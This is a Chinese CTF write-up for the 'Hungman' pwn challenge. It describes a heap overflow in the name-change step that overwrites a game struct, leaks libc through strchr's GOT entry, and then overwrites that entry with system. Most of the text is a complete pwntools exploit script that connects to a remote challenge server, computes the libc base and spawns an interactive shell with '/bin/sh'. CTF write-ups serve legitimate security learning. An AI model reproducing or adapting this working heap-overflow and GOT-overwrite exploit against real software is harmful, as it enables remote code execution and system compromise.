攻防世界PWN之Hungman题解
程序员文章站
2022-04-25 20:28:37
...
Hungman
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
最开始输入名字,根据名字长度申请堆
当我们打赢游戏,更改名字时,可以出现溢出
之前的堆依然还是那个,而我们的输入的内容可以变得更长,导致溢出到下一个堆块,而下一个堆块正式游戏数据的结构体,我们就可以篡改,改成函数的got表地址,再次打赢游戏,就能泄露信息,同理,再来一次,修改got表
而这个游戏是一个猜字母的游戏,并且是这样记分数的
要猜的字母个数等于我们输入的用户名长度
我们如果输入长度大于26的名字,然后从a到z猜,就一定可约获胜
我们完整的exp脚本
#coding:utf8
from pwn import *
from LibcSearcher import *
#sh = process('./hungman')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
sh = remote('111.198.29.45',48979)
elf = ELF('./hungman')
strchr_got = elf.got['strchr']
system_s = libc.sym['system']
strchr_s = 0x89AB0
def winGame():
for x in string.ascii_lowercase:
ans = sh.recv()
if 'High score! change name?' in ans:
break
if 'Continue?' in ans:
sh.sendline('y')
#print ans
sh.sendline(x)
sleep(0.2)
sh.sendlineafter("What's your name?","a"*0x30)
winGame()
sh.sendline('y')
sleep(0.5)
payload = 'b'*0x30
#溢出到结构体的内存位置处
payload += p64(0) + p64(0x91)
#score name_len
payload += p32(0x100) + p32(0x100)
#name buf
payload += p64(strchr_got)
sh.sendline(payload)
sh.recvuntil('Highest player: ')
strchr_addr = u64(sh.recvuntil(' score:',drop = True).ljust(8,'\x00'))
libc_base = strchr_addr - strchr_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
sh.sendlineafter('Continue?','y')
winGame()
sh.sendlineafter('High score! change name?','y')
sleep(0.2)
sh.send(p64(system_addr))
sh.sendlineafter('Continue?','y')
winGame()
sh.sendline('y')
sleep(0.5)
sh.sendline('/bin/sh')
sh.interactive()